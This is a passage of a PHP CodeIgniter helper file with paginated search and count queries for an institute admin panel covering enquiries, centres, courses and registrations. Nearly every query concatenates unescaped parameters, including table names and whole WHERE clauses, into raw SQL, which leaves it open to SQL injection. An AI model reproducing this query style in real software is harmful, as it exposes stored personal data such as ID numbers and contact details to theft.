count_all_front_setting_list() { $ci = &get_instance(); $ci->load->database(); $query = $ci->db->query('SELECT count(*) as count FROM `front_setting`'); $res = $query->result(); if (!empty($res)) { return $res[0]->count; } else { return 0; } } function all_front_setting_list($limit, $start, $order, $dir) { $ci = &get_instance(); $ci->load->database(); $query = $ci->db->query('SELECT * FROM `front_setting` ORDER BY FB_ID ' . $dir . ' limit ' . $limit . ' OFFSET ' . $start . ''); if ($query->num_rows() > 0) { return $query->result(); } else { return null; } } function front_setting_list_search($limit, $start, $search, $col, $dir) { $ci = &get_instance(); $ci->load->database(); $query = $ci->db->query('SELECT * from `front_setting` where ( FB_NAME LIKE "' . $search . '%" ) ORDER BY FB_ID ASC limit ' . $limit . ' OFFSET ' . $start . ''); if ($query->num_rows() > 0) { return $query->result(); } else { return null; } } function front_setting_list_search_count($search) { $ci = &get_instance(); $ci->load->database(); $query = $ci->db->query('SELECT count(*) as count from `front_setting` where ( FB_NAME LIKE "' . $search . '%" ) ORDER BY FB_ID ASC'); $res = $query->result(); if (!empty($res)) { return $res[0]->count; } else { return 0; } } /*--------------- END OF FRONT SETTING LIST -------------------*/ /*------------- START BACKEND SETTING LIST --------------------*/ function count_all_backend_setting_list() { $ci = &get_instance(); $ci->load->database(); $query = $ci->db->query('SELECT count(*) as count FROM `backend_setting`'); $res = $query->result(); if (!empty($res)) { return $res[0]->count; } else { return 0; } } function all_backend_setting_list($limit, $start, $order, $dir) { $ci = &get_instance(); $ci->load->database(); $query = $ci->db->query('SELECT * FROM `backend_setting` ORDER BY BACK_END_ID ' . $dir . ' limit ' . $limit . ' OFFSET ' . $start . ''); if ($query->num_rows() > 0) { return $query->result(); } else { return null; } } function backend_setting_list_search($limit, $start, $search, $col, $dir) { $ci = &get_instance(); $ci->load->database(); $query = $ci->db->query('SELECT * from `backend_setting` where ( BACK_END_TITLE LIKE "' . $search . '%" ) ORDER BY BACK_END_ID ASC limit ' . $limit . ' OFFSET ' . $start . ''); if ($query->num_rows() > 0) { return $query->result(); } else { return null; } } function backend_setting_list_search_count($search) { $ci = &get_instance(); $ci->load->database(); $query = $ci->db->query('SELECT count(*) as count from `backend_setting` where ( BACK_END_TITLE LIKE "' . $search . '%" ) ORDER BY BACK_END_ID ASC'); $res = $query->result(); if (!empty($res)) { return $res[0]->count; } else { return 0; } } /*--------------- END OF BACKEND SETTING LIST -------------------*/ function get_title_name($method_list) { $ci = &get_instance(); $ci->load->database(); $sql = "select * from method_list ML LEFT JOIN backend_setting BS ON BS.BACK_END_ID=ML.METHOD_LINK where ML.METHOD_NAME='" . $method_list . "'"; $query = $ci->db->query($sql); $row = $query->row(); return $row; } /*------------- START NEW USER REGISTRATON LIST --------------------*/ function count_all_new_user_list() { $ci = &get_instance(); $ci->load->database(); $query = $ci->db->query('SELECT count(*) as count FROM user_registration UR LEFT JOIN gender as g on g.GENDER_ID=UR.gender LEFT JOIN cast c on c.CAST_ID=UR.category LEFT JOIN enroll_for as ef on ef.ENROLL_ID=UR.enroll_for LEFT JOIN brand b on b.id=UR.course '); $res = $query->result(); if (!empty($res)) { return $res[0]->count; } else { return 0; } } function all_new_user_list($limit, $start, $order, $dir) { $ci = &get_instance(); $ci->load->database(); $query = $ci->db->query('SELECT *, UR.id as USER_ID FROM user_registration UR LEFT JOIN gender as g on g.GENDER_ID=UR.gender LEFT JOIN cast c on c.CAST_ID=UR.category LEFT JOIN enroll_for as ef on ef.ENROLL_ID=UR.enroll_for LEFT JOIN brand b on b.id=UR.course ORDER BY UR.id ' . $dir . ' limit ' . $limit . ' OFFSET ' . $start . ''); if ($query->num_rows() > 0) { return $query->result(); } else { return null; } } function new_user_list_search($limit, $start, $search, $col, $dir) { $ci = &get_instance(); $ci->load->database(); $query = $ci->db->query('SELECT *, UR.id as USER_ID from user_registration UR LEFT JOIN gender as g on g.GENDER_ID=UR.gender LEFT JOIN cast c on c.CAST_ID=UR.category LEFT JOIN enroll_for as ef on ef.ENROLL_ID=UR.enroll_for LEFT JOIN brand b on b.id=UR.course where ( UR.name LIKE "' . $search . '%" OR UR.email LIKE "' . $search . '%" OR UR.mobile LIKE "' . $search . '%") ORDER BY UR.id ASC limit ' . $limit . ' OFFSET ' . $start . ''); if ($query->num_rows() > 0) { return $query->result(); } else { return null; } } function new_user_list_search_count($search) { $ci = &get_instance(); $ci->load->database(); $query = $ci->db->query('SELECT count(*) as count from user_registration UR LEFT JOIN gender as g on g.GENDER_ID=UR.gender LEFT JOIN cast c on c.CAST_ID=UR.category LEFT JOIN enroll_for as ef on ef.ENROLL_ID=UR.enroll_for LEFT JOIN brand b on b.id=UR.course where ( UR.name LIKE "' . $search . '%" OR UR.email LIKE "' . $search . '%" OR UR.mobile LIKE "' . $search . '%" ) ORDER BY UR.id ASC'); $res = $query->result(); if (!empty($res)) { return $res[0]->count; } else { return 0; } } /*--------------- END OF NEW USER REGISTRATION LIST -------------------*/ /*---------------- start check menu status ----------------------------------*/ function check_menu_linking_status($id) { $ci = &get_instance(); $ci->load->database(); $sql = "SELECT * FROM `link_page` WHERE `menu` = '" . $id . "' AND `submenu` = 0 AND `subsubmenu` = 0 "; $query = $ci->db->query($sql); $row = $query->row(); return $row; } /*----------------- end check menu status ---------------------------------*/ /*------------- START BANNER LIST --------------------*/ function count_all_banners($status) { $ci = &get_instance(); $ci->load->database(); $query = $ci->db->query('SELECT count(*) as count FROM `promotional_add` WHERE STATUS="'.$status.'" ORDER BY PROMOTION_ID'); $res = $query->result(); if (!empty($res)) { return $res[0]->count; } else { return 0; } } function all_banners($limit, $start, $order, $dir,$status ) { $ci = &get_instance(); $ci->load->database(); $query = $ci->db->query('SELECT * FROM `promotional_add` WHERE STATUS="'.$status.'" ORDER BY PROMOTION_ID ' . $dir . ' limit ' . $limit . ' OFFSET ' . $start . ''); if ($query->num_rows() > 0) { return $query->result(); } else { return null; } } function banners_type_search($limit, $start, $search, $col, $dir,$status) { $ci = &get_instance(); $ci->load->database(); $query = $ci->db->query('SELECT * FROM `promotional_add` where ( IMAGE_TITLE LIKE "' . $search . '%" ) AND STATUS="'.$status.'" ORDER BY PROMOTION_ID ASC limit ' . $limit . ' OFFSET ' . $start . ''); if ($query->num_rows() > 0) { return $query->result(); } else { return null; } } function banners_type_search_count($search,$status) { $ci = &get_instance(); $ci->load->database(); $query = $ci->db->query('SELECT count(*) as count FROM `promotional_add` where ( IMAGE_TITLE LIKE "' . $search . '%" ) AND STATUS="'.$status.'" ORDER BY PROMOTION_ID ASC '); $res = $query->result(); if (!empty($res)) { return $res[0]->count; } else { return 0; } } /*--------------- END OF BANNER LIST -------------------*/ /*------------- START BRAND LIST --------------------*/ function count_all_product_type() { $ci = &get_instance(); $ci->load->database(); $query = $ci->db->query('SELECT count(*) as count FROM `product`'); $res = $query->result(); if (!empty($res)) { return $res[0]->count; } else { return 0; } } function all_product_type($limit, $start, $order, $dir) { $ci = &get_instance(); $ci->load->database(); $query = $ci->db->query('SELECT * FROM `product` ORDER BY PRODUCT_ID ' . $dir . ' limit ' . $limit . ' OFFSET ' . $start . ''); if ($query->num_rows() > 0) { return $query->result(); } else { return null; } } function product_type_search($limit, $start, $search, $col, $dir) { $ci = &get_instance(); $ci->load->database(); $query = $ci->db->query('SELECT * from `product` where ( PRODUCT_NAME LIKE "' . $search . '%" ) ORDER BY PRODUCT_ID ASC limit ' . $limit . ' OFFSET ' . $start . ''); if ($query->num_rows() > 0) { return $query->result(); } else { return null; } } function product_type_search_count($search) { $ci = &get_instance(); $ci->load->database(); $query = $ci->db->query('SELECT count(*) as count from `product` where ( PRODUCT_NAME LIKE "' . $search . '%" ) ORDER BY PRODUCT_ID ASC'); $res = $query->result(); if (!empty($res)) { return $res[0]->count; } else { return 0; } } /*--------------- END OF BRAND LIST -------------------*/ function allbranch_count($firmid,$hrmtype) { $ci = &get_instance(); $ci->load->database(); $query = $ci->db->query('Select count(*) as count from branch where COMPANY_HRM_TYPE="'.$hrmtype.'" ORDER by BRANCH_ID ASC'); $res = $query->result(); if (!empty($res)) { return $res[0]->count; } else { return 0; } } function allbranch($limit, $start, $col, $dir, $firmid,$hrmtype) { $ci = &get_instance(); $ci->load->database(); $query = $ci->db->query('Select * from branch where COMPANY_HRM_TYPE="'.$hrmtype.'" ORDER BY BRANCH_ID ' . $dir . ' limit ' . $limit . ' OFFSET ' . $start . ''); if ($query->num_rows() > 0) { return $query->result(); } else { return null; } } function branch_search($limit, $start, $search, $col, $dir, $firmid,$hrmtype) { $ci = &get_instance(); $ci->load->database(); $query = $ci->db->query('Select * from branch where ( BRANCH_CODE LIKE "%' . $search . '%" OR BRANCH_NAME LIKE "%' . $search . '%" OR BRANCH_USERNAME LIKE "%' . $search . '%" ) AND COMPANY_HRM_TYPE="'.$hrmtype.'" ORDER BY BRANCH_ID ASC limit ' . $limit . ' OFFSET ' . $start . ''); if ($query->num_rows() > 0) { return $query->result(); } else { return null; } } function branch_search_count($search, $firmid,$hrmtype) { $ci = &get_instance(); $ci->load->database(); $query = $ci->db->query('Select count(*) as count from branch where ( BRANCH_CODE LIKE "%' . $search . '%" OR BRANCH_NAME LIKE "%' . $search . '%" OR BRANCH_USERNAME LIKE "%' . $search . '%" ) AND COMPANY_HRM_TYPE="'.$hrmtype.'" ORDER BY BRANCH_ID ASC'); $res = $query->result(); if (!empty($res)) { return $res[0]->count; } else { return 0; } } /*------------- START BRAND LIST --------------------*/ function count_filter_all_brand_type($database,$segment,$from,$to) { $ci = &get_instance(); $ci->load->database(); $query = $ci->db->query('SELECT count(*) as count FROM `'.$database.'` WHERE '.$segment.' BETWEEN "'.$from.'" AND "'.$to.'" '); $res = $query->result(); if (!empty($res)) { return $res[0]->count; } else { return 0; } } function filter_all_brand_type($limit, $start, $order, $dir,$database,$segment,$from,$to) { $ci = &get_instance(); $ci->load->database(); $query = $ci->db->query('SELECT * FROM `'.$database.'` WHERE '.$segment.' BETWEEN "'.$from.'" AND "'.$to.'" ORDER BY '.$order.' ' . $dir . ' limit ' . $limit . ' OFFSET ' . $start . ''); if ($query->num_rows() > 0) { return $query->result(); } else { return null; } } function filter_brand_type_search($limit, $start, $search, $order, $dir,$database,$whereClause,$segment,$from,$to) { $ci = &get_instance(); $ci->load->database(); $query = $ci->db->query('SELECT * from `'.$database.'` where ( '.$whereClause.' ) AND '.$segment.' BETWEEN "'.$from.'" AND "'.$to.'" ORDER BY '.$order.' ' . $dir . ' limit ' . $limit . ' OFFSET ' . $start . ''); if ($query->num_rows() > 0) { return $query->result(); } else { return null; } } function filter_brand_type_search_count($search,$order,$database,$whereClause,$segment,$from,$to) { $ci = &get_instance(); $ci->load->database(); $query = $ci->db->query('SELECT count(*) as count from `'.$database.'` where ( '.$whereClause.' ) AND '.$segment.' BETWEEN "'.$from.'" AND "'.$to.'" '); $res = $query->result(); if (!empty($res)) { return $res[0]->count; } else { return 0; } } /*--------------- END OF BRAND LIST -------------------*/ /*------------- START MENU LIST --------------------*/ function count_all_menu_list() { $ci = &get_instance(); $ci->load->database(); $query = $ci->db->query('SELECT count(*) as count FROM `menu_items`'); $res = $query->result(); if (!empty($res)) { return $res[0]->count; } else { return 0; } } function all_menu_list($limit, $start, $order, $dir) { $ci = &get_instance(); $ci->load->database(); $query = $ci->db->query('SELECT * FROM `menu_items` ORDER BY id ' . $dir . ' limit ' . $limit . ' OFFSET ' . $start . ''); if ($query->num_rows() > 0) { return $query->result(); } else { return null; } } function menu_list_search($limit, $start, $search, $col, $dir) { $ci = &get_instance(); $ci->load->database(); $query = $ci->db->query('SELECT * from `menu_items` where ( menu LIKE "' . $search . '%" ) ORDER BY id ASC limit ' . $limit . ' OFFSET ' . $start . ''); if ($query->num_rows() > 0) { return $query->result(); } else { return null; } } function menu_list_search_count($search) { $ci = &get_instance(); $ci->load->database(); $query = $ci->db->query('SELECT count(*) as count from `menu_items` where ( menu LIKE "' . $search . '%" ) ORDER BY id ASC'); $res = $query->result(); if (!empty($res)) { return $res[0]->count; } else { return 0; } } /*--------------- END OF MENU LIST -------------------*/ /*---------------------- start page listing-----------------------------------------------------*/ function count_all_page_list() { $ci = &get_instance(); $ci->load->database(); $query = $ci->db->query('select count(*) as count from `page`'); $res = $query->result(); if (!empty($res)) { return $res[0]->count; } else { return 0; } } function all_page_list($limit, $start, $order, $dir) { $ci = &get_instance(); $ci->load->database(); $query = $ci->db->query('SELECT * from `page` ORDER BY id ' . $dir . ' limit ' . $limit . ' OFFSET ' . $start . ''); if ($query->num_rows() > 0) { return $query->result(); } else { return null; } } function page_list_search($limit, $start, $search, $col, $dir) { $ci = &get_instance(); $ci->load->database(); $query = $ci->db->query('SELECT * from `page` where ( title LIKE "' . $search . '%") ORDER BY id DESC limit ' . $limit . ' OFFSET ' . $start . ''); if ($query->num_rows() > 0) { return $query->result(); } else { return null; } } function page_list_search_count($search) { $ci = &get_instance(); $ci->load->database(); $query = $ci->db->query('SELECT count(*) as count from `page` where ( title LIKE "' . $search . '%" ) ORDER BY id DESC'); $res = $query->result(); if (!empty($res)) { return $res[0]->count; } else { return 0; } } function numberTowords2($number){ //$number = 190908100.25; $no = floor($number); $point = round($number - $no, 2) * 100; $hundred = null; $digits_1 = strlen($no); $i = 0; $str = array(); $words = array('0' => '', '1' => 'one', '2' => 'two', '3' => 'three', '4' => 'four', '5' => 'five', '6' => 'six', '7' => 'seven', '8' => 'eight', '9' => 'nine', '10' => 'ten', '11' => 'eleven', '12' => 'twelve', '13' => 'thirteen', '14' => 'fourteen', '15' => 'fifteen', '16' => 'sixteen', '17' => 'seventeen', '18' => 'eighteen', '19' =>'nineteen', '20' => 'twenty', '30' => 'thirty', '40' => 'forty', '50' => 'fifty', '60' => 'sixty', '70' => 'seventy', '80' => 'eighty', '90' => 'ninety'); $digits = array('', 'hundred', 'thousand', 'lakh', 'crore'); while ($i < $digits_1) { $divider = ($i == 2) ? 10 : 100; $number = floor($no % $divider); $no = floor($no / $divider); $i += ($divider == 10) ? 1 : 2; if ($number) { $plural = (($counter = count($str)) && $number > 9) ? 's' : null; $hundred = ($counter == 1 && $str[0]) ? ' and ' : null; $str [] = ($number < 21) ? $words[$number] . " " . $digits[$counter] . $plural . " " . $hundred : $words[floor($number / 10) * 10] . " " . $words[$number % 10] . " " . $digits[$counter] . $plural . " " . $hundred; } else $str[] = null; } $str = array_reverse($str); $result = implode('', $str); $points = ($point) ? "and " . $words[$point] . " " : ''; return $result . "Rupees " . $points . " Paise Only"; } /*---------------------- end page listing -----------------------------------------------------*/ /*------------------------ start sale invoice list ----------------------------------*/ function finacial_year() { $ci = &get_instance(); $ci->load->database(); $query = $ci->db->query("SELECT * FROM `business_settings` LEFT JOIN session_year ON session_year.id=business_settings.value WHERE business_settings.type='active_year'"); $res = $query->row(); if (!empty($res)) { return $res->id; } else { return 0; } } /*------------------------------- START ENQUIRY --------------------------------------------*/ function count_all_enquiry_list($status,$center,$type) { $ci = &get_instance(); $ci->load->database(); if($center == 'all'){ $query = $ci->db->query('select count(*) as count from `enquiry` e left join courses c on e.course=c.id left join session_year s on e.session=s.id where e.status="'.$status.'" '); }else{ $query = $ci->db->query('select count(*) as count from `enquiry` e left join courses c on e.course=c.id left join session_year s on e.session=s.id where e.status="'.$status.'" and e.user_id="'.$center.'" and e.type="'.$type.'"'); } // $query = $ci->db->query('select count(*) as count from `enquiry` e left join courses c on e.course=c.id left join session_year s on e.session=s.id where e.status="'.$status.'"'); $res = $query->result(); if (!empty($res)) { return $res[0]->count; } else { return 0; } } function all_enquiry_list($limit, $start, $order, $dir,$status,$center,$type) { $ci = &get_instance(); $ci->load->database(); if($center == 'all'){ $query = $ci->db->query('SELECT *,e.id as eid from `enquiry` e left join courses c on e.course=c.id left join session_year s on e.session=s.id where e.status="'.$status.'" ORDER BY e.id ' . $dir . ' limit ' . $limit . ' OFFSET ' . $start . ''); }else{ $query = $ci->db->query('SELECT *,e.id as eid from `enquiry` e left join courses c on e.course=c.id left join session_year s on e.session=s.id where e.status="'.$status.'" and e.user_id="'.$center.'" and e.type="'.$type.'" ORDER BY e.id ' . $dir . ' limit ' . $limit . ' OFFSET ' . $start . ''); } //$query = $ci->db->query('SELECT *,e.id as eid from `enquiry` e left join courses c on e.course=c.id left join session_year s on e.session=s.id where e.status="'.$status.'" ORDER BY e.id ' . $dir . ' limit ' . $limit . ' OFFSET ' . $start . ''); // die(var_dump()) if ($query->num_rows() > 0) { return $query->result(); } else { return null; } } function enquiry_list_search($limit, $start, $search, $col, $dir,$status,$center,$type) { $ci = &get_instance(); $ci->load->database(); if($center == 'all'){ $query = $ci->db->query('SELECT * from `enquiry` e left join courses c on e.course=c.id left join session_year s on e.session=s.id where ( e.name LIKE "' . $search . '%" OR e.mobile LIKE "' . $search . '%" OR e.email LIKE "' . $search . '%" OR e.dob LIKE "' . $search . '%" ) and e.status="'.$status.'" ORDER BY e.id DESC limit ' . $limit . ' OFFSET ' . $start . ''); }else{ $query = $ci->db->query('SELECT * from `enquiry` e left join courses c on e.course=c.id left join session_year s on e.session=s.id where ( e.name LIKE "' . $search . '%" OR e.mobile LIKE "' . $search . '%" OR e.email LIKE "' . $search . '%" OR e.dob LIKE "' . $search . '%" ) and e.user_id="'.$center.'" and e.type="'.$type.'" and e.status="'.$status.'" ORDER BY e.id DESC limit ' . $limit . ' OFFSET ' . $start . ''); } // $query = $ci->db->query('SELECT * from `enquiry` e left join courses c on e.course=c.id left join session_year s on e.session=s.id where ( e.name LIKE "' . $search . '%" OR e.mobile LIKE "' . $search . '%" OR e.email LIKE "' . $search . '%" OR e.dob LIKE "' . $search . '%" ) and e.status="'.$status.'" ORDER BY e.id DESC limit ' . $limit . ' OFFSET ' . $start . ''); if ($query->num_rows() > 0) { return $query->result(); } else { return null; } } function enquiry_list_search_count($search,$status,$center,$type) { $ci = &get_instance(); $ci->load->database(); if($center == 'all'){ $query = $ci->db->query('SELECT count(*) as count from `enquiry` e left join courses c on e.course=c.id left join session_year s on e.session=s.id where ( e.name LIKE "' . $search . '%" OR e.mobile LIKE "' . $search . '%" OR e.email LIKE "' . $search . '%" OR e.dob LIKE "' . $search . '%" ) and e.status="'.$status.'" ORDER BY e.id DESC'); }else{ $query = $ci->db->query('SELECT count(*) as count from `enquiry` e left join courses c on e.course=c.id left join session_year s on e.session=s.id where ( e.name LIKE "' . $search . '%" OR e.mobile LIKE "' . $search . '%" OR e.email LIKE "' . $search . '%" OR e.dob LIKE "' . $search . '%" ) and e.user_id="'.$center.'" and e.type="'.$type.'" and e.status="'.$status.'" ORDER BY e.id DESC'); } // $query = $ci->db->query('SELECT count(*) as count from `enquiry` e left join courses c on e.course=c.id left join session_year s on e.session=s.id where ( e.name LIKE "' . $search . '%" OR e.mobile LIKE "' . $search . '%" OR e.email LIKE "' . $search . '%" OR e.dob LIKE "' . $search . '%" ) and e.status="'.$status.'" ORDER BY e.id DESC'); $res = $query->result(); if (!empty($res)) { return $res[0]->count; } else { return 0; } } function count_all_pending_list($status,$type,$center) { $ci = &get_instance(); $ci->load->database(); if($center == 'all'){ $query = $ci->db->query('select count(*) as count from `enquiry` e left join courses c on e.course=c.id left join session_year s on e.session=s.id where e.status="'.$status.'" '); }else{ $query = $ci->db->query('select count(*) as count from `enquiry` e left join courses c on e.course=c.id left join session_year s on e.session=s.id where e.status="'.$status.'" and e.user_id="'.$center.'" and e.type="'.$type.'"'); } // $query = $ci->db->query('select count(*) as count from `enquiry` e left join courses c on e.course=c.id left join session_year s on e.session=s.id where e.status="'.$status.'"'); $res = $query->result(); if (!empty($res)) { return $res[0]->count; } else { return 0; } } function all_pending_list($limit, $start, $order, $dir,$status,$type,$center) { $ci = &get_instance(); $ci->load->database(); if($center == 'all'){ $query = $ci->db->query('SELECT *,e.id as eid from `enquiry` e left join courses c on e.course=c.id left join session_year s on e.session=s.id where e.status="'.$status.'" ORDER BY e.id ' . $dir . ' limit ' . $limit . ' OFFSET ' . $start . ''); }else{ $query = $ci->db->query('SELECT *,e.id as eid from `enquiry` e left join courses c on e.course=c.id left join session_year s on e.session=s.id where e.status="'.$status.'" and e.user_id="'.$center.'" and e.type="'.$type.'" ORDER BY e.id ' . $dir . ' limit ' . $limit . ' OFFSET ' . $start . ''); } //$query = $ci->db->query('SELECT * from `enquiry` e left join courses c on e.course=c.id left join session_year s on e.session=s.id where e.status="'.$status.'" ORDER BY e.id ' . $dir . ' limit ' . $limit . ' OFFSET ' . $start . ''); // die(var_dump()) if ($query->num_rows() > 0) { return $query->result(); } else { return null; } } function pending_list_search($limit, $start, $search, $col, $dir,$status,$type,$center) { $ci = &get_instance(); $ci->load->database(); if($center == 'all'){ $query = $ci->db->query('SELECT * from `enquiry` e left join courses c on e.course=c.id left join session_year s on e.session=s.id where ( e.name LIKE "' . $search . '%" OR e.mobile LIKE "' . $search . '%" OR e.email LIKE "' . $search . '%" OR e.dob LIKE "' . $search . '%" ) and e.status="'.$status.'" ORDER BY e.id DESC limit ' . $limit . ' OFFSET ' . $start . ''); }else{ $query = $ci->db->query('SELECT * from `enquiry` e left join courses c on e.course=c.id left join session_year s on e.session=s.id where ( e.name LIKE "' . $search . '%" OR e.mobile LIKE "' . $search . '%" OR e.email LIKE "' . $search . '%" OR e.dob LIKE "' . $search . '%" ) and e.user_id="'.$center.'" and e.type="'.$type.'" and e.status="'.$status.'" ORDER BY e.id DESC limit ' . $limit . ' OFFSET ' . $start . ''); } // $query = $ci->db->query('SELECT * from `enquiry` e left join courses c on e.course=c.id left join session_year s on e.session=s.id where ( e.name LIKE "' . $search . '%" OR e.mobile LIKE "' . $search . '%" OR e.email LIKE "' . $search . '%" OR e.dob LIKE "' . $search . '%" ) and e.status="'.$status.'" ORDER BY e.id DESC limit ' . $limit . ' OFFSET ' . $start . ''); if ($query->num_rows() > 0) { return $query->result(); } else { return null; } } function pending_list_search_count($search,$status,$type,$center) { $ci = &get_instance(); $ci->load->database(); if($center == 'all'){ $query = $ci->db->query('SELECT count(*) as count from `enquiry` e left join courses c on e.course=c.id left join session_year s on e.session=s.id where ( e.name LIKE "' . $search . '%" OR e.mobile LIKE "' . $search . '%" OR e.email LIKE "' . $search . '%" OR e.dob LIKE "' . $search . '%" ) and e.status="'.$status.'" ORDER BY e.id DESC'); }else{ $query = $ci->db->query('SELECT count(*) as count from `enquiry` e left join courses c on e.course=c.id left join session_year s on e.session=s.id where ( e.name LIKE "' . $search . '%" OR e.mobile LIKE "' . $search . '%" OR e.email LIKE "' . $search . '%" OR e.dob LIKE "' . $search . '%" ) and e.user_id="'.$center.'" and e.type="'.$type.'" and e.status="'.$status.'" ORDER BY e.id DESC'); } // $query = $ci->db->query('SELECT count(*) as count from `enquiry` e left join courses c on e.course=c.id left join session_year s on e.session=s.id where ( e.name LIKE "' . $search . '%" OR e.mobile LIKE "' . $search . '%" OR e.email LIKE "' . $search . '%" OR e.dob LIKE "' . $search . '%" ) and e.status="'.$status.'" ORDER BY e.id DESC'); $res = $query->result(); if (!empty($res)) { return $res[0]->count; } else { return 0; } } /*----------------------------- EN ENQUIRY -------------------------------------------------------*/ /*-------------------------- start all CENTER list ---------------------------------------------------*/ // service list function count_all_center_list() { $ci = &get_instance(); $ci->load->database(); $query = $ci->db->query('select count(*) as count from `centers` left join state on state.STATE_ID=centers.state_id left join district on district.DISTRICT_ID=centers.city_id LEFT JOIN admin_login ON admin_login.INSTITUTE_CENTER_ID=centers.id'); $res = $query->result(); if (!empty($res)) { return $res[0]->count; } else { return 0; } } function all_center_list($limit, $start, $order, $dir) { $ci = &get_instance(); $ci->load->database(); $query = $ci->db->query('SELECT * from `centers` left join state on state.STATE_ID=centers.state_id left join district on district.DISTRICT_ID=centers.city_id LEFT JOIN admin_login ON admin_login.INSTITUTE_CENTER_ID=centers.id ORDER BY centers.id ' . $dir . ' limit ' . $limit . ' OFFSET ' . $start . ''); if ($query->num_rows() > 0) { return $query->result(); } else { return null; } } function center_list_search($limit, $start, $search, $col, $dir) { $ci = &get_instance(); $ci->load->database(); $query = $ci->db->query('SELECT * from `centers` left join state on state.STATE_ID=centers.state_id left join district on district.DISTRICT_ID=centers.city_id LEFT JOIN admin_login ON admin_login.INSTITUTE_CENTER_ID=centers.id where ( centers.center_number LIKE "' . $search . '%" OR centers.name LIKE "' . $search . '%" OR centers.institute_name LIKE "' . $search . '%" OR centers.pan_number LIKE "' . $search . '%" OR centers.aadhar_number LIKE "' . $search . '%" OR centers.email_id LIKE "' . $search . '%" ) ORDER BY centers.id DESC limit ' . $limit . ' OFFSET ' . $start . ''); if ($query->num_rows() > 0) { return $query->result(); } else { return null; } } function center_list_search_count($search) { $ci = &get_instance(); $ci->load->database(); $query = $ci->db->query('SELECT count(*) as count from `centers` left join state on state.STATE_ID=centers.state_id left join district on district.DISTRICT_ID=centers.city_id LEFT JOIN admin_login ON admin_login.INSTITUTE_CENTER_ID=centers.id where ( centers.center_number LIKE "' . $search . '%" OR centers.name LIKE "' . $search . '%" OR centers.institute_name LIKE "' . $search . '%" OR centers.pan_number LIKE "' . $search . '%" OR centers.aadhar_number LIKE "' . $search . '%" OR centers.email_id LIKE "' . $search . '%" ) ORDER BY centers.id DESC'); $res = $query->result(); if (!empty($res)) { return $res[0]->count; } else { return 0; } } /*------------------------ end all CENTER list ------------------------------------------------------------*/ function count_all_category_type() { $ci = &get_instance(); $ci->load->database(); $query = $ci->db->query('SELECT count(*) as count FROM `categorylist`'); $res = $query->result(); if (!empty($res)) { return $res[0]->count; } else { return 0; } } function all_category_type($limit, $start, $order, $dir) { $ci = &get_instance(); $ci->load->database(); $query = $ci->db->query('SELECT * FROM `categorylist` ORDER BY CAT_ID ' . $dir . ' limit ' . $limit . ' OFFSET ' . $start . ''); if ($query->num_rows() > 0) { return $query->result(); } else { return null; } } function category_type_search($limit, $start, $search, $col, $dir) { $ci = &get_instance(); $ci->load->database(); $query = $ci->db->query('SELECT * from `categorylist` where ( CATEGORY_NAME LIKE "' . $search . '%" ) ORDER BY CAT_ID ASC limit ' . $limit . ' OFFSET ' . $start . ''); if ($query->num_rows() > 0) { return $query->result(); } else { return null; } } function category_type_search_count($search) { $ci = &get_instance(); $ci->load->database(); $query = $ci->db->query('SELECT count(*) as count from `categorylist` where ( CATEGORY_NAME LIKE "' . $search . '%" ) ORDER BY CAT_ID ASC'); $res = $query->result(); if (!empty($res)) { return $res[0]->count; } else { return 0; } } /*------------------------------ start course list -------------------------------------------------------------------*/ function count_all_course_list() { $ci = &get_instance(); $ci->load->database(); $query = $ci->db->query('SELECT count(*) as count FROM courses c left join categorylist b on b.CAT_ID=c.category LEFT JOIN course_duration ON course_duration.CD_ID=c.duration '); $res = $query->result(); if (!empty($res)) { return $res[0]->count; } else { return 0; } } function all_course_list($limit, $start, $order, $dir) { $ci = &get_instance(); $ci->load->database(); $query = $ci->db->query('SELECT *,c.id as id FROM courses c left join categorylist b on b.CAT_ID=c.category LEFT JOIN course_duration ON course_duration.CD_ID=c.duration ORDER BY c.id ' . $dir . ' limit ' . $limit . ' OFFSET ' . $start . ''); if ($query->num_rows() > 0) { return $query->result(); } else { return null; } } function course_list_search($limit, $start, $search, $col, $dir) { $ci = &get_instance(); $ci->load->database(); $query = $ci->db->query('SELECT *,c.id as id from courses c left join categorylist b on b.CAT_ID=c.category LEFT JOIN course_duration ON course_duration.CD_ID=c.duration where ( c.course_name LIKE "' . $search . '%" OR c.course_code LIKE "' . $search . '%" OR b.brand_name LIKE "' . $search . '%" ) ORDER BY c.id DESC limit ' . $limit . ' OFFSET ' . $start . ''); if ($query->num_rows() > 0) { return $query->result(); } else { return null; } } function course_list_search_count($search) { $ci = &get_instance(); $ci->load->database(); $query = $ci->db->query('SELECT count(*) as count from courses c left join categorylist b on b.CAT_ID=c.category LEFT JOIN course_duration ON course_duration.CD_ID=c.duration where ( c.course_name LIKE "' . $search . '%" OR c.course_code LIKE "' . $search . '%" OR b.brand_name LIKE "' . $search . '%" ) ORDER BY c.id DESC'); $res = $query->result(); if (!empty($res)) { return $res[0]->count; } else { return 0; } } function get_all_duration($id) { $ci = &get_instance(); $ci->load->database(); $sql = "select * from course_duration where CD_MONTHLY_YEARLY='" . $id . "'"; $query = $ci->db->query($sql); $row = $query->result(); return $row; } function count_all_subject_list() { $ci = &get_instance(); $ci->load->database(); $query = $ci->db->query('SELECT count(*) as count FROM `subjects` LEFT JOIN courses ON courses.id=subjects.course_id LEFT JOIN course_duration ON course_duration.CD_ID=courses.duration LEFT JOIN categorylist ON categorylist.CAT_ID=courses.category LEFT JOIN course_duration_list ON course_duration_list.CDL_ID=subjects.year'); $res = $query->result(); if (!empty($res)) { return $res[0]->count; } else { return 0; } } function all_subject_list($limit, $start, $order, $dir) { $ci = &get_instance(); $ci->load->database(); $query = $ci->db->query('SELECT *,subjects.id AS SUBJECT_ID,courses.id AS COURSE_ID,categorylist.CAT_ID AS CATEGORY_ID FROM `subjects` LEFT JOIN courses ON courses.id=subjects.course_id LEFT JOIN course_duration ON course_duration.CD_ID=courses.duration LEFT JOIN categorylist ON categorylist.CAT_ID=courses.category LEFT JOIN course_duration_list ON course_duration_list.CDL_ID=subjects.year ORDER BY subjects.id DESC ' . ' limit ' . $limit . ' OFFSET ' . $start . ''); if ($query->num_rows() > 0) { return $query->result(); } else { return null; } } function subject_list_search($limit, $start, $search, $col, $dir) { $ci = &get_instance(); $ci->load->database(); $query = $ci->db->query('SELECT *,subjects.id AS SUBJECT_ID,courses.id AS COURSE_ID,categorylist.CAT_ID AS CATEGORY_ID FROM `subjects` LEFT JOIN courses ON courses.id=subjects.course_id LEFT JOIN course_duration ON course_duration.CD_ID=courses.duration LEFT JOIN categorylist ON categorylist.CAT_ID=courses.category LEFT JOIN course_duration_list ON course_duration_list.CDL_ID=subjects.year where ( 